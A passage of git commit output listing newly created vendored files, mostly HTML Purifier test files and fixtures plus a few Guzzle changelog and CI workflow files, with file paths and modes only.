vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ContentEditableTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/OptionalTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/RequiredTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/StrictBlockquoteTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDef/TableTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ChildDefHarness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ComplexHarness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/InterchangeTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesAliasCollision.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesDirectiveCollision.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedIsString.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedNotEmpty.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultIsAllowed.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultNullWithAllowed.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultType.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/descriptionNotEmpty.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/ignoreNamespace.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeDefined.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeExists.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithAllowedIsStringType.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithValueAliasesIsStringType.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/unique.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasIsString.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasNotAllowed.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesNotAliasSelf.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealAllowed.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealIsString.vtest create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorAtomTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTestCase.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigSchemaTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-create.ini create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-finalize.ini create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest-loadIni.ini create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ConfigTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ContextTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/CleanupTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/MemoryTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorHarness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest/README create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheFactoryTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheHarness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionTestable.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DoctypeRegistryTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ElementDefTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EncoderTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EntityLookupTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EntityParserTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorCollectorEMock.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorCollectorTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorsHarness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/GeneratorTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLDefinitionTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/FormsTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ImageTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/NameTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/NofollowTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ObjectTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ProprietaryTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/RubyTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeEmbedTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeObjectTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeScriptingTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ScriptingTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetBlankTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetNoopenerTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetNoreferrerTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TidyTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleHarness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleManagerTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-preserve.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-remove.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/basic.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-preserve.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-remove.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-preserve.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-remove.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/disable-uri.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/double-youtube.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/empty.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/file-uri.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-default.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-enabled.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-img.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-name-mix.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-list-loop.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-wraps-block.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/li-disabled.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/list-nesting.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/munge-extra.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/munge.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/name.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-googlemaps.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-invalid.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-youtube.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed-munge.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-bare.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-cdata.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-comment.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-dbl-comment.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/script-ideal.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/secure-munge.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-preserve-yen.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-remove-yen.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote-with-inline.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-underline.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/style-onload.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/t78.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/tidy-background.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments-required.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments-table.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/whitespace-preserve.htmlt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Harness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/IDAccumulatorTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/AutoParagraphTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/DisplayLinkURITest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/LinkifyTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/PurifierLinkifyTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/RemoveEmptyTest.php create mode 100755 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/RemoveSpansWithoutAttributesTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Injector/SafeObjectTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/InjectorHarness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LanguageFactoryTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LanguageTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LengthTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Lexer/DirectLexTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Lexer/DirectLex_ErrorsTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/LexerTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/.gitignore create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/domxml.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/func.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/kses/basic.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_autoload.inc create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_no-autoload.inc create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-includes.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-autoload.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload-default.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-autoload.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-with-autoload.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/error-auto-with-spl-nonstatic-autoload.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes-autoload.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/safe-includes.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-autoload.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-with-prefix.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/stub.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/utf8.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PHPT/ze1_compatibility_mode.phpt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PercentEncoderTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/PropertyListTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/Reporter.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/SimpleTest/TextReporter.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CompositeTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/CoreTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ErrorsHarness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNestingTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjector.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjectorTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjector.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjectorTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjector.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjectorTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_TidyTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributesTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributes_IDTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributes_TidyTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StrategyHarness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/AppendMultiline.txt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/Default.txt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/Multi.txt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/OverrideSingle.txt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParser/Simple.txt create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashParserTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/StringHashTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/TagTransformTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/TokenFactoryTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/TokenTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIDefinitionTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableExternalResourcesTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableExternalTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableResourcesTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/HostBlacklistTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/MakeAbsoluteTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilter/MungeTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIFilterHarness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIHarness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URIParserTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URISchemeRegistryTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URISchemeTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/URITest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/UnitConverterTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/VarParser/FlexibleTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/VarParser/NativeTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/VarParserHarness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ZipperTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifierTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/PHPT/Controller/SimpleTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/PHPT/Reporter/SimpleTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/PHPT/Section/PRESKIPIF.php create mode 100644 vendor/ezyang/htmlpurifier/tests/common.php create mode 100644 vendor/ezyang/htmlpurifier/tests/default_load.php create mode 100644 vendor/ezyang/htmlpurifier/tests/generate_mock_once.func.php create mode 100644 vendor/ezyang/htmlpurifier/tests/index.php create mode 100644 vendor/ezyang/htmlpurifier/tests/multitest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/path2class.func.php create mode 100644 vendor/ezyang/htmlpurifier/tests/test_files.php create mode 100644 vendor/ezyang/htmlpurifier/tests/tmp/README create mode 100644 vendor/guzzlehttp/guzzle/CHANGELOG.md create mode 100644 vendor/guzzlehttp/guzzle/UPGRADING.md create mode 100644 vendor/guzzlehttp/promises/CHANGELOG.md create mode 100644 vendor/guzzlehttp/psr7/.github/FUNDING.yml create mode 100644 vendor/guzzlehttp/psr7/.github/stale.yml create mode 100644 vendor/guzzlehttp/psr7/.github/workflows/ci.yml create mode 100644 vendor/guzzlehttp/psr7/.github/workflows/integration.yml create mode 100644 